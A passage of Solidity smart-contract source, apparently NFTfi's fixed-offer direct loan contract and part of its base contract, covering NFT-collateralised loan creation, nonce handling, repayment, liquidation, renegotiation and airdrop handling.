* There are two ways to commence an NFT-backed loan:
*
* a. The borrower accepts a lender's offer by calling `acceptOffer`.
* 1. the borrower calls nftContract.approveAll(NFTfi), approving the NFTfi contract to move their NFT's on their
* be1alf.
* 2. the lender calls erc20Contract.approve(NFTfi), allowing NFTfi to move the lender's ERC20 tokens on their
* behalf.
* 3. the lender signs an off-chain message, proposing its offer terms.
* 4. the borrower calls `acceptOffer` to accept these terms and enter into the loan. The NFT is stored in
* the contract, the borrower receives the loan principal in the specified ERC20 currency, the lender receives an
* NFTfi promissory note (in ERC721 form) that represents the rights to either the principal-plus-interest, or the
* underlying NFT collateral if the borrower does not pay back in time, and the borrower receives obligation receipt
* (in ERC721 form) that gives them the right to pay back the loan and get the collateral back.
*
* b. The lender accepts a borrowe's binding terms by calling `acceptListing`.
* 1. the borrower calls nftContract.approveAll(NFTfi), approving the NFTfi contract to move their NFT's on their
* be1alf.
* 2. the lender calls erc20Contract.approve(NFTfi), allowing NFTfi to move the lender's ERC20 tokens on their
* behalf.
* 3. the borrower signs an off-chain message, proposing its binding terms.
* 4. the lender calls `acceptListing` with an offer matching the binding terms and enter into the loan. The NFT is
* stored in the contract, the borrower receives the loan principal in the specified ERC20 currency, the lender
* receives an NFTfi promissory note (in ERC721 form) that represents the rights to either the principal-plus-interest,
* or the underlying NFT collateral if the borrower does not pay back in time, and the borrower receives obligation
* receipt (in ERC721 form) that gives them the right to pay back the loan and get the collateral back.
*
* The lender can freely transfer and trade this ERC721 promissory note as they wish, with the knowledge that
* transferring the ERC721 promissory note tranfsers the rights to principal-plus-interest and/or collateral, and that
* they will no longer have a claim on the loan. The ERC721 promissory note itself represents that claim.
*
* The borrower can freely transfer and trade this ERC721 obligaiton receipt as they wish, with the knowledge that
* transferring the ERC721 obligaiton receipt tranfsers the rights right to pay back the loan and get the collateral
* back.
*
*
* A loan may end in one of two ways:
* - First, a borrower may call NFTfi.payBackLoan() and pay back the loan plus interest at any time, in which case they
* receive their NFT back in the same transaction.
* - Second, if the loan's duration has passed and the loan has not been paid back yet, a lender can call
* NFTfi.liquidateOverdueLoan(), in which case they receive the underlying NFT collateral and forfeit the rights to the
* principal-plus-interest, which the borrower now keeps.
*/
contract DirectLoanFixedOffer is DirectLoanBaseMinimal {
/* ********** */
/* DATA TYPES */
/* ********** */
bytes32 public constant LOAN_TYPE = bytes32("DIRECT_LOAN_FIXED_OFFER");
/* *********** */
/* CONSTRUCTOR */
/* *********** */
/**
* @dev Sets `hub` and permitted erc20-s
*
* @param _admin - Initial admin of this contract.
* @param _nftfiHub - NFTfiHub address
* @param _permittedErc20s - list of permitted ERC20 token contract addresses
*/
constructor(
address _admin,
address _nftfiHub,
address[] memory _permittedErc20s
)
DirectLoanBaseMinimal(
_admin,
_nftfiHub,
ContractKeys.getIdFromStringKey("DIRECT_LOAN_COORDINATOR"),
_permittedErc20s
)
{
// solhint-disable-previous-line no-empty-blocks
}
/* ********* */
/* FUNCTIONS */
/* ********* */
/**
* @notice This function is called by the borrower when accepting a lender's offer to begin a loan.
*
* @param _offer - The offer made by the lender.
* @param _signature - The components of the lender's signature.
* @param _borrowerSettings - Some extra parameters that the borrower needs to set when accepting an offer.
*/
function acceptOffer(
Offer memory _offer,
Signature memory _signature,
BorrowerSettings memory _borrowerSettings
) external whenNotPaused nonReentrant {
address nftWrapper = _getWrapper(_offer.nftCollateralContract);
_loanSanityChecks(_offer, nftWrapper);
_loanSanityChecksOffer(_offer);
_acceptOffer(
LOAN_TYPE,
_setupLoanTerms(_offer, nftWrapper),
_setupLoanExtras(_borrowerSettings.revenueSharePartner, _borrowerSettings.referralFeeInBasisPoints),
_offer,
_signature
);
}
/* ******************* */
/* READ-ONLY FUNCTIONS */
/* ******************* */
/**
* @notice This function can be used to view the current quantity of the ERC20 currency used in the specified loan
* required by the borrower to repay their loan, measured in the smallest unit of the ERC20 currency.
*
* @param _loanId A unique identifier for this particular loan, sourced from the Loan Coordinator.
*
* @return The amount of the specified ERC20 currency required to pay back this loan, measured in the smallest unit
* of the specified ERC20 currency.
*/
function getPayoffAmount(uint32 _loanId) external view override returns (uint256) {
LoanTerms storage loan = loanIdToLoan[_loanId];
return loan.maximumRepaymentAmount;
}
/* ****************** */
/* INTERNAL FUNCTIONS */
/* ****************** */
/**
* @notice This function is called by the borrower when accepting a lender's offer to begin a loan.
*
* @param _loanType - The loan type being created.
* @param _loanTerms - The main Loan Terms struct. This data is saved upon loan creation on loanIdToLoan.
* @param _loanExtras - The main Loan Terms struct. This data is saved upon loan creation on loanIdToLoanExtras.
* @param _offer - The offer made by the lender.
* @param _signature - The components of the lender's signature.
*/
function _acceptOffer(
bytes32 _loanType,
LoanTerms memory _loanTerms,
LoanExtras memory _loanExtras,
Offer memory _offer,
Signature memory _signature
) internal {
// Check loan nonces. These are different from Ethereum account nonces.
// Here, these are uint256 numbers that should uniquely identify
// each signature for each user (i.e. each user should only create one
// off-chain signature for each nonce, with a nonce being any arbitrary
// uint256 value that they have not used yet for an off-chain NFTfi
// signature).
require(!_nonceHasBeenUsedForUser[_signature.signer][_signature.nonce], "Lender nonce invalid");
_nonceHasBeenUsedForUser[_signature.signer][_signature.nonce] = true;
require(NFTfiSigningUtils.isValidLenderSignature(_offer, _signature), "Lender signature is invalid");
address bundle = hub.getContract(ContractKeys.NFTFI_BUNDLER);
require(_loanTerms.nftCollateralContract != bundle, "Collateral cannot be bundle");
uint32 loanId = _createLoan(_loanType, _loanTerms, _loanExtras, msg.sender, _signature.signer, _offer.referrer);
// Emit an event with all relevant details from this transaction.
emit LoanStarted(loanId, msg.sender, _signature.signer, _loanTerms, _loanExtras);
}
/**
* @dev Creates a `LoanTerms` struct using data sent as the lender's `_offer` on `acceptOffer`.
* This is needed in order to avoid stack too deep issues.
* Since this is a Fixed loan type loanInterestRateForDurationInBasisPoints is ignored.
*/
function _setupLoanTerms(Offer memory _offer, address _nftWrapper) internal view returns (LoanTerms memory) {
return
LoanTerms({
loanERC20Denomination: _offer.loanERC20Denomination,
loanPrincipalAmount: _offer.loanPrincipalAmount,
maximumRepaymentAmount: _offer.maximumRepaymentAmount,
nftCollateralContract: _offer.nftCollateralContract,
nftCollateralWrapper: _nftWrapper,
nftCollateralId: _offer.nftCollateralId,
loanStartTime: uint64(block.timestamp),
loanDuration: _offer.loanDuration,
loanInterestRateForDurationInBasisPoints: uint16(0),
loanAdminFeeInBasisPoints: _offer.loanAdminFeeInBasisPoints,
borrower: msg.sender
});
}
/**
* @dev Calculates the payoff amount and admin fee
*
* @param _loanTerms - Struct containing all the loan's parameters
*/
function _payoffAndFee(LoanTerms memory _loanTerms)
internal
pure
override
returns (uint256 adminFee, uint256 payoffAmount)
{
// Calculate amounts to send to lender and admins
uint256 interestDue = _loanTerms.maximumRepaymentAmount - _loanTerms.loanPrincipalAmount;
adminFee = LoanChecksAndCalculations.computeAdminFee(
interestDue,
uint256(_loanTerms.loanAdminFeeInBasisPoints)
);
payoffAmount = _loanTerms.maximumRepaymentAmount - adminFee;
}
/**
* @dev Function that performs some validation checks over loan parameters when accepting an offer
*
*/
function _loanSanityChecksOffer(LoanData.Offer memory _offer) internal pure {
require(
_offer.maximumRepaymentAmount >= _offer.loanPrincipalAmount,
"Negative interest rate loans are not allowed."
);
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
import "./IDirectLoanBase.sol";
import "./LoanData.sol";
import "./LoanChecksAndCalculations.sol";
import "./LoanAirdropUtils.sol";
import "../../BaseLoan.sol";
import "../../../utils/NftReceiver.sol";
import "../../../utils/NFTfiSigningUtils.sol";
import "../../../interfaces/INftfiHub.sol";
import "../../../utils/ContractKeys.sol";
import "../../../interfaces/IDirectLoanCoordinator.sol";
import "../../../interfaces/INftWrapper.sol";
import "../../../interfaces/IPermittedPartners.sol";
import "../../../interfaces/IPermittedERC20s.sol";
import "../../../interfaces/IPermittedNFTs.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title DirectLoanBase
* @author NFTfi
* @notice Main contract for NFTfi Direct Loans Type. This contract manages the ability to create NFT-backed
* peer-to-peer loans.
*
* There are two ways to commence an NFT-backed loan:
*
* a. The borrower accepts a lender's offer by calling `acceptOffer`.
* 1. the borrower calls nftContract.approveAll(NFTfi), approving the NFTfi contract to move their NFT's on their
* be1alf.
* 2. the lender calls erc20Contract.approve(NFTfi), allowing NFTfi to move the lender's ERC20 tokens on their
* behalf.
* 3. the lender signs an off-chain message, proposing its offer terms.
* 4. the borrower calls `acceptOffer` to accept these terms and enter into the loan. The NFT is stored in
* the contract, the borrower receives the loan principal in the specified ERC20 currency, the lender receives an
* NFTfi promissory note (in ERC721 form) that represents the rights to either the principal-plus-interest, or the
* underlying NFT collateral if the borrower does not pay back in time, and the borrower receives obligation receipt
* (in ERC721 form) that gives them the right to pay back the loan and get the collateral back.
*
* b. The lender accepts a borrowe's binding terms by calling `acceptListing`.
* 1. the borrower calls nftContract.approveAll(NFTfi), approving the NFTfi contract to move their NFT's on their
* be1alf.
* 2. the lender calls erc20Contract.approve(NFTfi), allowing NFTfi to move the lender's ERC20 tokens on their
* behalf.
* 3. the borrower signs an off-chain message, proposing its binding terms.
* 4. the lender calls `acceptListing` with an offer matching the binding terms and enter into the loan. The NFT is
* stored in the contract, the borrower receives the loan principal in the specified ERC20 currency, the lender
* receives an NFTfi promissory note (in ERC721 form) that represents the rights to either the principal-plus-interest,
* or the underlying NFT collateral if the borrower does not pay back in time, and the borrower receives obligation
* receipt (in ERC721 form) that gives them the right to pay back the loan and get the collateral back.
*
* The lender can freely transfer and trade this ERC721 promissory note as they wish, with the knowledge that
* transferring the ERC721 promissory note tranfsers the rights to principal-plus-interest and/or collateral, and that
* they will no longer have a claim on the loan. The ERC721 promissory note itself represents that claim.
*
* The borrower can freely transfer and trade this ERC721 obligaiton receipt as they wish, with the knowledge that
* transferring the ERC721 obligaiton receipt tranfsers the rights right to pay back the loan and get the collateral
* back.
*
* A loan may end in one of two ways:
* - First, a borrower may call NFTfi.payBackLoan() and pay back the loan plus interest at any time, in which case they
* receive their NFT back in the same transaction.
* - Second, if the loan's duration has passed and the loan has not been paid back yet, a lender can call
* NFTfi.liquidateOverdueLoan(), in which case they receive the underlying NFT collateral and forfeit the rights to the
* principal-plus-interest, which the borrower now keeps.
*
*
* If the loan was created as a ProRated type loan (pro-rata interest loan), then the user only pays the principal plus
* pro-rata interest if repaid early.
* However, if the loan was was created as a Fixed type loan (agreed to be a fixed-repayment loan), then the borrower
* pays the maximumRepaymentAmount regardless of whether they repay early or not.
*
*/
abstract contract DirectLoanBaseMinimal is IDirectLoanBase, IPermittedERC20s, BaseLoan, NftReceiver, LoanData {
using SafeERC20 for IERC20;
/* ******* */
/* STORAGE */
/* ******* */
uint16 public constant HUNDRED_PERCENT = 10000;
bytes32 public immutable override LOAN_COORDINATOR;
/**
* @notice The maximum duration of any loan started for this loan type, measured in seconds. This is both a
* sanity-check for borrowers and an upper limit on how long admins will have to support v1 of this contract if they
* eventually deprecate it, as well as a check to ensure that the loan duration never exceeds the space alotted for
* it in the loan struct.
*/
uint256 public override maximumLoanDuration = 53 weeks;
/**
* @notice The percentage of interest earned by lenders on this platform that is taken by the contract admin's as a
* fee, measured in basis points (hundreths of a percent). The max allowed value is 10000.
*/
uint16 public override adminFeeInBasisPoints = 25;
/**
* @notice A mapping from a loan's identifier to the loan's details, represted by the loan struct.
*/
mapping(uint32 => LoanTerms) public override loanIdToLoan;
mapping(uint32 => LoanExtras) public loanIdToLoanExtras;
/**
* @notice A mapping tracking whether a loan has either been repaid or liquidated. This prevents an attacker trying
* to repay or liquidate the same loan twice.
*/
mapping(uint32 => bool) public override loanRepaidOrLiquidated;
/**
* @dev keeps track of tokens being held as loan collateral, so we dont allow these
* to be transferred with the aridrop draining functions
*/
mapping(address => mapping(uint256 => uint256)) private _escrowTokens;
/**
* @notice A mapping that takes both a user's address and a loan nonce that was first used when signing an off-chain
* order and checks whether that nonce has previously either been used for a loan, or has been pre-emptively
* cancelled. The nonce referred to here is not the same as an Ethereum account's nonce. We are referring instead to
* nonces that are used by both the lender and the borrower when they are first signing off-chain NFTfi orders.
*
* These nonces can be any uint256 value that the user has not previously used to sign an off-chain order. Each
* nonce can be used at most once per user within NFTfi, regardless of whether they are the lender or the borrower
* in that situation. This serves two purposes. First, it prevents replay attacks where an attacker would submit a
* user's off-chain order more than once. Second, it allows a user to cancel an off-chain order by calling
* NFTfi.cancelLoanCommitmentBeforeLoanHasBegun(), which marks the nonce as used and prevents any future loan from
* using the user's off-chain order that contains that nonce.
*/
mapping(address => mapping(uint256 => bool)) internal _nonceHasBeenUsedForUser;
/**
* @notice A mapping from an ERC20 currency address to whether that currency
* is permitted to be used by this contract.
*/
mapping(address => bool) private erc20Permits;
INftfiHub public immutable hub;
/* ****** */
/* EVENTS */
/* ****** */
/**
* @notice This event is fired whenever the admins change the percent of interest rates earned that they charge as a
* fee. Note that newAdminFee can never exceed 10,000, since the fee is measured in basis points.
*
* @param newAdminFee - The new admin fee measured in basis points. This is a percent of the interest paid upon a
* loan's completion that go to the contract admins.
*/
event AdminFeeUpdated(uint16 newAdminFee);
/**
* @notice This event is fired whenever the admins change the maximum duration of any loan started for this loan
* type.
*
* @param newMaximumLoanDuration - The new maximum duration.
*/
event MaximumLoanDurationUpdated(uint256 newMaximumLoanDuration);
/**
* @notice This event is fired whenever a borrower begins a loan by calling NFTfi.beginLoan(), which can only occur
* after both the lender and borrower have approved their ERC721 and ERC20 contracts to use NFTfi, and when they
* both have signed off-chain messages that agree on the terms of the loan.
*
* @param loanId - A unique identifier for this particular loan, sourced from the Loan Coordinator.
* @param borrower - The address of the borrower.
* @param lender - The address of the lender. The lender can change their address by transferring the NFTfi ERC721
* token that they received when the loan began.
*/
event LoanStarted(
uint32 indexed loanId,
address indexed borrower,
address indexed lender,
LoanTerms loanTerms,
LoanExtras loanExtras
);
/**
* @notice This event is fired whenever a borrower successfully repays their loan, paying
* principal-plus-interest-minus-fee to the lender in loanERC20Denomination, paying fee to owner in
* loanERC20Denomination, and receiving their NFT collateral back.
*
* @param loanId - A unique identifier for this particular loan, sourced from the Loan Coordinator.
* @param borrower - The address of the borrower.
* @param lender - The address of the lender. The lender can change their address by transferring the NFTfi ERC721
* token that they received when the loan began.
* @param loanPrincipalAmount - The original sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* @param nftCollateralId - The ID within the NFTCollateralContract for the NFT being used as collateral for this
* loan. The NFT is stored within this contract during the duration of the loan.
* @param amountPaidToLender The amount of ERC20 that the borrower paid to the lender, measured in the smalled
* units of loanERC20Denomination.
* @param adminFee The amount of interest paid to the contract admins, measured in the smalled units of
* loanERC20Denomination and determined by adminFeeInBasisPoints. This amount never exceeds the amount of interest
* earned.
* @param revenueShare The amount taken from admin fee amount shared with the partner.
* @param revenueSharePartner - The address of the partner that will receive the revenue share.
* @param nftCollateralContract - The ERC721 contract of the NFT collateral
* @param loanERC20Denomination - The ERC20 contract of the currency being used as principal/interest for this
* loan.
*/
event LoanRepaid(
uint32 indexed loanId,
address indexed borrower,
address indexed lender,
uint256 loanPrincipalAmount,
uint256 nftCollateralId,
uint256 amountPaidToLender,
uint256 adminFee,
uint256 revenueShare,
address revenueSharePartner,
address nftCollateralContract,
address loanERC20Denomination
);
/**
* @notice This event is fired whenever a lender liquidates an outstanding loan that is owned to them that has
* exceeded its duration. The lender receives the underlying NFT collateral, and the borrower no longer needs to
* repay the loan principal-plus-interest.
*
* @param loanId - A unique identifier for this particular loan, sourced from the Loan Coordinator.
* @param borrower - The address of the borrower.
* @param lender - The address of the lender. The lender can change their address by transferring the NFTfi ERC721
* token that they received when the loan began.
* @param loanPrincipalAmount - The original sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* @param nftCollateralId - The ID within the NFTCollateralContract for the NFT being used as collateral for this
* loan. The NFT is stored within this contract during the duration of the loan.
* @param loanMaturityDate - The unix time (measured in seconds) that the loan became due and was eligible for
* liquidation.
* @param loanLiquidationDate - The unix time (measured in seconds) that liquidation occurred.
* @param nftCollateralContract - The ERC721 contract of the NFT collateral
*/
event LoanLiquidated(
uint32 indexed loanId,
address indexed borrower,
address indexed lender,
uint256 loanPrincipalAmount,
uint256 nftCollateralId,
uint256 loanMaturityDate,
uint256 loanLiquidationDate,
address nftCollateralContract
);
/**
* @notice This event is fired when some of the terms of a loan are being renegotiated.
*
* @param loanId - The unique identifier for the loan to be renegotiated
* @param newLoanDuration - The new amount of time (measured in seconds) that can elapse before the lender can
* liquidate the loan and seize the underlying collateral NFT.
* @param newMaximumRepaymentAmount - The new maximum amount of money that the borrower would be required to
* retrieve their collateral, measured in the smallest units of the ERC20 currency used for the loan. The
* borrower will always have to pay this amount to retrieve their collateral, regardless of whether they repay
* early.
* @param renegotiationFee Agreed upon fee in loan denomination that borrower pays for the lender for the
* renegotiation, has to be paid with an ERC20 transfer loanERC20Denomination token, uses transfer from,
* frontend will have to propmt an erc20 approve for this from the borrower to the lender
* @param renegotiationAdminFee renegotiationFee admin portion based on determined by adminFeeInBasisPoints
*/
event LoanRenegotiated(
uint32 indexed loanId,
address indexed borrower,
address indexed lender,
uint32 newLoanDuration,
uint256 newMaximumRepaymentAmount,
uint256 renegotiationFee,
uint256 renegotiationAdminFee
);
/**
* @notice This event is fired whenever the admin sets a ERC20 permit.
*
* @param erc20Contract - Address of the ERC20 contract.
* @param isPermitted - Signals ERC20 permit.
*/
event ERC20Permit(address indexed erc20Contract, bool isPermitted);
/* *********** */
/* CONSTRUCTOR */
/* *********** */
/**
* @dev Sets `hub`
*
* @param _admin - Initial admin of this contract.
* @param _nftfiHub - NFTfiHub address
* @param _loanCoordinatorKey -
* @param _permittedErc20s -
*/
constructor(
address _admin,
address _nftfiHub,
bytes32 _loanCoordinatorKey,
address[] memory _permittedErc20s
) BaseLoan(_admin) {
hub = INftfiHub(_nftfiHub);
LOAN_COORDINATOR = _loanCoordinatorKey;
for (uint256 i = 0; i < _permittedErc20s.length; i++) {
_setERC20Permit(_permittedErc20s[i], true);
}
}
/* *************** */
/* ADMIN FUNCTIONS */
/* *************** */
/**
* @notice This function can be called by admins to change the maximumLoanDuration. Note that they can never change
* maximumLoanDuration to be greater than UINT32_MAX, since that's the maximum space alotted for the duration in the
* loan struct.
*
* @param _newMaximumLoanDuration - The new maximum loan duration, measured in seconds.
*/
function updateMaximumLoanDuration(uint256 _newMaximumLoanDuration) external onlyOwner {
require(_newMaximumLoanDuration <= uint256(type(uint32).max), "Loan duration overflow");
maximumLoanDuration = _newMaximumLoanDuration;
emit MaximumLoanDurationUpdated(_newMaximumLoanDuration);
}
/**
* @notice This function can be called by admins to change the percent of interest rates earned that they charge as
* a fee. Note that newAdminFee can never exceed 10,000, since the fee is measured in basis points.
*
* @param _newAdminFeeInBasisPoints - The new admin fee measured in basis points. This is a percent of the interest
* paid upon a loan's completion that go to the contract admins.
*/
function updateAdminFee(uint16 _newAdminFeeInBasisPoints) external onlyOwner {
require(_newAdminFeeInBasisPoints <= HUNDRED_PERCENT, "basis points > 10000");
adminFeeInBasisPoints = _newAdminFeeInBasisPoints;
emit AdminFeeUpdated(_newAdminFeeInBasisPoints);
}
/**
* @notice used by the owner account to be able to drain ERC20 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _receiver - receiver of the token
*/
function drainERC20Airdrop(address _tokenAddress, address _receiver) external onlyOwner {
IERC20 tokenContract = IERC20(_tokenAddress);
uint256 amount = tokenContract.balanceOf(address(this));
require(amount > 0, "no tokens owned");
tokenContract.safeTransfer(_receiver, amount);
}
/**
* @notice This function can be called by admins to change the permitted status of an ERC20 currency. This includes
* both adding an ERC20 currency to the permitted list and removing it.
*
* @param _erc20 - The address of the ERC20 currency whose permit list status changed.
* @param _permit - The new status of whether the currency is permitted or not.
*/
function setERC20Permit(address _erc20, bool _permit) external onlyOwner {
_setERC20Permit(_erc20, _permit);
}
/**
* @notice This function can be called by admins to change the permitted status of a batch of ERC20 currency. This
* includes both adding an ERC20 currency to the permitted list and removing it.
*
* @param _erc20s - The addresses of the ERC20 currencies whose permit list status changed.
* @param _permits - The new statuses of whether the currency is permitted or not.
*/
function setERC20Permits(address[] memory _erc20s, bool[] memory _permits) external onlyOwner {
require(_erc20s.length == _permits.length, "setERC20Permits function information arity mismatch");
for (uint256 i = 0; i < _erc20s.length; i++) {
_setERC20Permit(_erc20s[i], _permits[i]);
}
}
/**
* @notice used by the owner account to be able to drain ERC721 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _tokenId - id token to be sent out
* @param _receiver - receiver of the token
*/
function drainERC721Airdrop(
address _tokenAddress,
uint256 _tokenId,
address _receiver
) external onlyOwner {
IERC721 tokenContract = IERC721(_tokenAddress);
require(_escrowTokens[_tokenAddress][_tokenId] == 0, "token is collateral");
require(tokenContract.ownerOf(_tokenId) == address(this), "nft not owned");
tokenContract.safeTransferFrom(address(this), _receiver, _tokenId);
}
/**
* @notice used by the owner account to be able to drain ERC1155 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _tokenId - id token to be sent out
* @param _receiver - receiver of the token
*/
function drainERC1155Airdrop(
address _tokenAddress,
uint256 _tokenId,
address _receiver
) external onlyOwner {
IERC1155 tokenContract = IERC1155(_tokenAddress);
uint256 amount = tokenContract.balanceOf(address(this), _tokenId);
require(_escrowTokens[_tokenAddress][_tokenId] == 0, "token is collateral");
require(amount > 0, "no nfts owned");
tokenContract.safeTransferFrom(address(this), _receiver, _tokenId, amount, "");
}
function mintObligationReceipt(uint32 _loanId) external nonReentrant {
address borrower = loanIdToLoan[_loanId].borrower;
require(msg.sender == borrower, "sender has to be borrower");
IDirectLoanCoordinator loanCoordinator = IDirectLoanCoordinator(hub.getContract(LOAN_COORDINATOR));
loanCoordinator.mintObligationReceipt(_loanId, borrower);
delete loanIdToLoan[_loanId].borrower;
}
/**
* @dev makes possible to change loan duration and max repayment amount, loan duration even can be extended if
* loan was expired but not liquidated.
*
* @param _loanId - The unique identifier for the loan to be renegotiated
* @param _newLoanDuration - The new amount of time (measured in seconds) that can elapse before the lender can
* liquidate the loan and seize the underlying collateral NFT.
* @param _newMaximumRepaymentAmount - The new maximum amount of money that the borrower would be required to
* retrieve their collateral, measured in the smallest units of the ERC20 currency used for the loan. The
* borrower will always have to pay this amount to retrieve their collateral, regardless of whether they repay
* early.
* @param _renegotiationFee Agreed upon fee in ether that borrower pays for the lender for the renegitiation
* @param _lenderNonce - The nonce referred to here is not the same as an Ethereum account's nonce. We are
* referring instead to nonces that are used by both the lender and the borrower when they are first signing
* off-chain NFTfi orders. These nonces can be any uint256 value that the user has not previously used to sign an
* off-chain order. Each nonce can be used at most once per user within NFTfi, regardless of whether they are the
* lender or the borrower in that situation. This serves two purposes:
* - First, it prevents replay attacks where an attacker would submit a user's off-chain order more than once.
* - Second, it allows a user to cancel an off-chain order by calling NFTfi.cancelLoanCommitmentBeforeLoanHasBegun()
* , which marks the nonce as used and prevents any future loan from using the user's off-chain order that contains
* that nonce.
* @param _expiry - The date when the renegotiation offer expires
* @param _lenderSignature - The ECDSA signature of the lender, obtained off-chain ahead of time, signing the
* following combination of parameters:
* - _loanId
* - _newLoanDuration
* - _newMaximumRepaymentAmount
* - _lender
* - _expiry
* - address of this contract
* - chainId
*/
function renegotiateLoan(
uint32 _loanId,
uint32 _newLoanDuration,
uint256 _newMaximumRepaymentAmount,
uint256 _renegotiationFee,
uint256 _lenderNonce,
uint256 _expiry,
bytes memory _lenderSignature
) external whenNotPaused nonReentrant {
_renegotiateLoan(
_loanId,
_newLoanDuration,
_newMaximumRepaymentAmount,
_renegotiationFee,
_lenderNonce,
_expiry,
_lenderSignature
);
}
/**
* @notice This function is called by a anyone to repay a loan. It can be called at any time after the loan has
* begun and before loan expiry.. The caller will pay a pro-rata portion of their interest if the loan is paid off
* early and the loan is pro-rated type, but the complete repayment amount if it is fixed type.
* The the borrower (current owner of the obligation note) will get the collaterl NFT back.
*
* This function is purposefully not pausable in order to prevent an attack where the contract admin's pause the
* contract and hold hostage the NFT's that are still within it.
*
* @param _loanId A unique identifier for this particular loan, sourced from the Loan Coordinator.
*/
function payBackLoan(uint32 _loanId) external nonReentrant {
LoanChecksAndCalculations.payBackChecks(_loanId, hub);
(
address borrower,
address lender,
LoanTerms memory loan,
IDirectLoanCoordinator loanCoordinator
) = _getPartiesAndData(_loanId);
_payBackLoan(_loanId, borrower, lender, loan);
_resolveLoan(_loanId, borrower, loan, loanCoordinator);
// Delete the loan from storage in order to achieve a substantial gas savings and to lessen the burden of
// storage on Ethereum nodes, since we will never access this loan's details again, and the details are still
// available through event data.
delete loanIdToLoan[_loanId];
delete loanIdToLoanExtras[_loanId];
}
/**
* @notice This function is called by a lender once a loan has finished its duration and the borrower still has not
* repaid. The lender can call this function to seize the underlying NFT collateral, although the lender gives up
* all rights to the principal-plus-collateral by doing so.
*
* This function is purposefully not pausable in order to prevent an attack where the contract admin's pause
* the contract and hold hostage the NFT's that are still within it.
*
* We intentionally allow anybody to call this function, although only the lender will end up receiving the seized
* collateral. We are exploring the possbility of incentivizing users to call this function by using some of the
* admin funds.
*
* @param _loanId A unique identifier for this particular loan, sourced from the Loan Coordinator.
*/
function liquidateOverdueLoan(uint32 _loanId) external nonReentrant {
LoanChecksAndCalculations.checkLoanIdValidity(_loanId, hub);
// Sanity check that payBackLoan() and liquidateOverdueLoan() have never been called on this loanId.
// Depending on how the rest of the code turns out, this check may be unnecessary.
require(!loanRepaidOrLiquidated[_loanId], "Loan already repaid/liquidated");
(
address borrower,
address lender,
LoanTerms memory loan,
IDirectLoanCoordinator loanCoordinator
) = _getPartiesAndData(_loanId);
// Ensure that the loan is indeed overdue, since we can only liquidate overdue loans.
uint256 loanMaturityDate = uint256(loan.loanStartTime) + uint256(loan.loanDuration);
require(block.timestamp > loanMaturityDate, "Loan is not overdue yet");
require(msg.sender == lender, "Only lender can liquidate");
_resolveLoan(_loanId, lender, loan, loanCoordinator);
// Emit an event with all relevant details from this transaction.
emit LoanLiquidated(
_loanId,
borrower,
lender,
loan.loanPrincipalAmount,
loan.nftCollateralId,
loanMaturityDate,
block.timestamp,
loan.nftCollateralContract
);
// Delete the loan from storage in order to achieve a substantial gas savings and to lessen the burden of
// storage on Ethereum nodes, since we will never access this loan's details again, and the details are still
// available through event data.
delete loanIdToLoan[_loanId];
delete loanIdToLoanExtras[_loanId];
}
/**
* @notice this function initiates a flashloan to pull an airdrop from a tartget contract
*
* @param _loanId -
* @param _target - address of the airdropping contract
* @param _data - function selector to be called on the airdropping contract
* @param _nftAirdrop - address of the used claiming nft in the drop
* @param _nftAirdropId - id of the used claiming nft in the drop
* @param _is1155 -
* @param _nftAirdropAmount - amount in case of 1155
*/
function pullAirdrop(
uint32 _loanId,
address _target,
bytes calldata _data,
address _nftAirdrop,
uint256 _nftAirdropId,
bool _is1155,
uint256 _nftAirdropAmount
) external nonReentrant {
LoanChecksAndCalculations.checkLoanIdValidity(_loanId, hub);
require(!loanRepaidOrLiquidated[_loanId], "Loan already repaid/liquidated");
LoanTerms memory loan = loanIdToLoan[_loanId];
LoanAirdropUtils.pullAirdrop(
_loanId,
loan,
_target,
_data,
_nftAirdrop,
_nftAirdropId,
_is1155,
_nftAirdropAmount,
hub
);
}
/**
* @notice this function creates a proxy contract wrapping the collateral to be able to catch an expected airdrop
*
* @param _loanId -
*/
function wrapCollateral(uint32 _loanId) external nonReentrant {
LoanChecksAndCalculations.checkLoanIdValidity(_loanId, hub);
require(!loanRepaidOrLiquidated[_loanId], "Loan already repaid/liquidated");
LoanTerms storage loan = loanIdToLoan[_loanId];
_escrowTokens[loan.nftCollateralContract][loan.nftCollateralId] -= 1;
(address instance, uint256 receiverId) = LoanAirdropUtils.wrapCollateral(_loanId, loan, hub);
_escrowTokens[instance][receiverId] += 1;
}
/**
* @notice This function can be called by either a lender or a borrower to cancel all off-chain orders that they
* have signed that contain this nonce. If the off-chain orders were created correctly, there should only be one
* off-chain order that contains this nonce at all.
*
* The nonce referred to here is not the same as an Ethereum account's nonce. We are referring
* instead to nonces that are used by both the lender and the borrower when they are first signing off-chain NFTfi
* orders. These nonces can be any uint256 value that the user has not previously used to sign an off-chain order.
* Each nonce can be used at most once per user within NFTfi, regardless of whether they are the lender or the
* borrower in that situation. This serves two purposes. First, it prevents replay attacks where an attacker would
* submit a user's off-chain order more than once. Second, it allows a user to cancel an off-chain order by calling
* NFTfi.cancelLoanCommitmentBeforeLoanHasBegun(), which marks the nonce as used and prevents any future loan from
* using the user's off-chain order that contains that nonce.
*
* @param _nonce - User nonce
*/
function cancelLoanCommitmentBeforeLoanHasBegun(uint256 _nonce) external {
require(!_nonceHasBeenUsedForUser[msg.sender][_nonce], "Invalid nonce");
_nonceHasBeenUsedForUser[msg.sender][_nonce] = true;
}
/* ******************* */
/* READ-ONLY FUNCTIONS */
/* ******************* */
/**
* @notice This function can be used to view the current quantity of the ERC20 currency used in the specified loan
* required by the borrower to repay their loan, measured in the smallest unit of the ERC20 currency.
*
* @param _loanId A unique identifier for this particular loan, sourced from the Loan Coordinator.
*
* @return The amount of the specified ERC20 currency required to pay back this loan, measured in the smallest unit
* of the specified ERC20 currency.
*/
